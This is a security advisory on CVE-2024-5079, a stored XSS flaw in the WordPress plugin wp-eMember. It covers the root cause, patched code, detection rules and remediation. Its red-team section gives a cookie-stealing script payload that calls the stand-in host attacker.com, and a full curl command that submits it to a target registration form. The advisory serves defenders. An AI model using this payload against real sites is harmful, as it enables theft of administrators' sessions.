CVE-2024-5079

Executive Summary

CVE-2024-5079 is a Stored Cross-Site Scripting (XSS) vulnerability identified in the WordPress plugin wp-eMember versions prior to 10.6.7. This flaw allows unauthenticated attackers to inject arbitrary web scripts or HTML into the plugin's member registration fields. When an administrator or other user views the injected data (e.g., on the member management dashboard), the malicious script executes in their browser context. This can lead to session hijacking, credential theft, or defacement of the WordPress admin interface. The vulnerability is classified under CWE-79 (Improper Neutralization of Input During Web Page Generation) and has a CVSS v3.1 base score of 6.1 (Medium). No public exploit code or Nuclei template is currently available, but the attack vector is straightforward and requires no authentication.

Supply Chain & Package Security

This vulnerability affects the WordPress plugin ecosystem. The wp-eMember plugin is distributed via the official WordPress plugin repository. Users who installed the plugin from the repository are affected if they are running a version below 10.6.7. The plugin is not available on NPM, PyPI, Go, or Ruby registries. The supply chain risk is limited to the WordPress plugin directory, and the patch is available through the standard WordPress update mechanism.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Base Score: 6.1 (Medium)
• Attack Vector (AV): Network – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): None – Unauthenticated users can exploit this.
• User Interaction (UI): Required – The victim (e.g., admin) must view the injected content.
• Scope (S): Changed – The injected script can affect resources beyond the vulnerable component.
• Confidentiality (C): Low – Limited information disclosure possible.
• Integrity (I): Low – Limited ability to modify data.
• Availability (A): None – No impact on availability.

Threat Level: Medium. The vulnerability is easy to exploit but requires user interaction (admin viewing the malicious input). The impact is limited to the admin's browser session.

Deep Dive & Mechanics

The wp-eMember plugin provides membership registration functionality. The vulnerability lies in the lack of sanitization and escaping of certain fields during the member registration process. Specifically, fields such as first_name, last_name, or custom profile fields are not properly sanitized before being stored in the database and later displayed on the admin dashboard.

Attack Flow:

1. An unauthenticated attacker navigates to the member registration page (e.g., /wp-content/plugins/wp-eMember/register.php or a custom registration form).
2. The attacker fills in the registration fields with malicious JavaScript payloads, e.g., <script>alert('XSS')</script>.
3. The plugin stores the unsanitized input in the WordPress database.
4. An administrator or other user with access to the member management dashboard (e.g., /wp-admin/admin.php?page=wp_eMember_members) views the list of registered members.
5. The stored payload executes in the admin's browser, allowing the attacker to perform actions such as stealing cookies, redirecting to malicious sites, or performing actions on behalf of the admin.

Root Cause: The plugin uses $_POST data directly without applying WordPress's built-in sanitization functions like sanitize_text_field() or esc_html() before storing or displaying the data.

Vulnerable vs. Patched Code

Vulnerable Code (Version < 10.6.7):

// In registration handler (e.g., wp-eMember/register.php)
$first_name = $_POST['first_name'];
// ... store $first_name directly into database without sanitization
$wpdb->insert($wpdb->prefix . 'wp_eMember_members', array('first_name' => $first_name));

Patched Code (Version 10.6.7):

// In registration handler
$first_name = sanitize_text_field($_POST['first_name']);
// ... store sanitized value
$wpdb->insert($wpdb->prefix . 'wp_eMember_members', array('first_name' => $first_name));

Additionally, when displaying the data, the patched version uses esc_html() to escape output:

// In admin dashboard display
echo esc_html($member->first_name);

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WordPress site with wp-eMember plugin version < 10.6.7.
• Access to the member registration page (no authentication required).

Exploitation Steps:

1. Identify the registration form URL (e.g., http://target.com/wp-content/plugins/wp-eMember/register.php).
2. Submit a registration request with a malicious payload in a vulnerable field (e.g., first_name).

Example Payload:

<script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script>

Curl Command:

curl -X POST http://target.com/wp-content/plugins/wp-eMember/register.php \
  -d "first_name=<script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script>" \
  -d "last_name=test" \
  -d "email=attacker@example.com" \
  -d "password=password123" \
  -d "membership_level=1"

3. Wait for an admin to view the member list. The payload will execute, sending the admin's cookies to the attacker's server.

Blue Team (Detection & Prevention)

Detection:

• Monitor registration logs for suspicious input patterns (e.g., <script>, onerror=, javascript:).
• Use Web Application Firewall (WAF) rules to block common XSS payloads in registration fields.
• Enable WordPress security plugins that scan for malicious input.

Prevention:

• Immediately upgrade to wp-eMember version 10.6.7 or later.
• Implement Content Security Policy (CSP) headers to mitigate XSS impact.
• Restrict access to the admin dashboard using IP whitelisting or VPN.

Indicators of Compromise (IOCs)

• Network IOCs:

  • Outbound HTTP requests to attacker-controlled domains containing cookie data (e.g., GET /steal?cookie=...).
  • Unusual registration requests with HTML/JavaScript in text fields.

• Host IOCs:

  • Database entries in wp_eMember_members table containing <script> tags or event handlers.
  • Log entries in WordPress debug log showing failed sanitization attempts.

• File IOCs:

  • Modified plugin files (though unlikely in this case).

Detection Engineering

YARA Rule

rule wp_eMember_Stored_XSS_CVE_2024_5079 {
    meta:
        description = "Detects stored XSS payloads in wp-eMember registration fields"
        author = "Valters IT"
        date = "2025-01-01"
        reference = "CVE-2024-5079"
    strings:
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $event_handler = /on\w+\s*=\s*['"][^'"]*['"]/i
        $javascript_uri = /javascript\s*:/i
    condition:
        any of them
}

Sigma Rule

title: Stored XSS via wp-eMember Registration
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects stored XSS attempts in wp-eMember registration fields
author: Valters IT
date: 2025-01-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        http.method: POST
        http.url: /wp-content/plugins/wp-eMember/register.php
        http.body|contains|all:
            - '<script'
            - 'onerror'
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of HTML in custom fields (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-5079 wp-eMember Stored XSS Attempt"; flow:to_server; content:"POST"; http_method; content:"/wp-content/plugins/wp-eMember/register.php"; http_uri; pcre:"/<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade the plugin: Update wp-eMember to version 10.6.7 or later via the WordPress admin dashboard or by downloading from the official repository.
2. Scan for compromise: Check the wp_eMember_members table for any suspicious entries containing scripts. Remove any malicious entries.
3. Rotate admin credentials: If any admin session was potentially compromised, rotate all admin passwords and session tokens.

Long-Term Mitigations:

• Implement a Web Application Firewall (WAF) with XSS protection rules.
• Enforce Content Security Policy (CSP) headers to restrict script execution.
• Regularly audit WordPress plugins for known vulnerabilities.
• Use WordPress security plugins (e.g., Wordfence, Sucuri) for additional monitoring.

Valters IT Signature:

Valters IT
Cybersecurity & Threat Intelligence
https://valters-it.com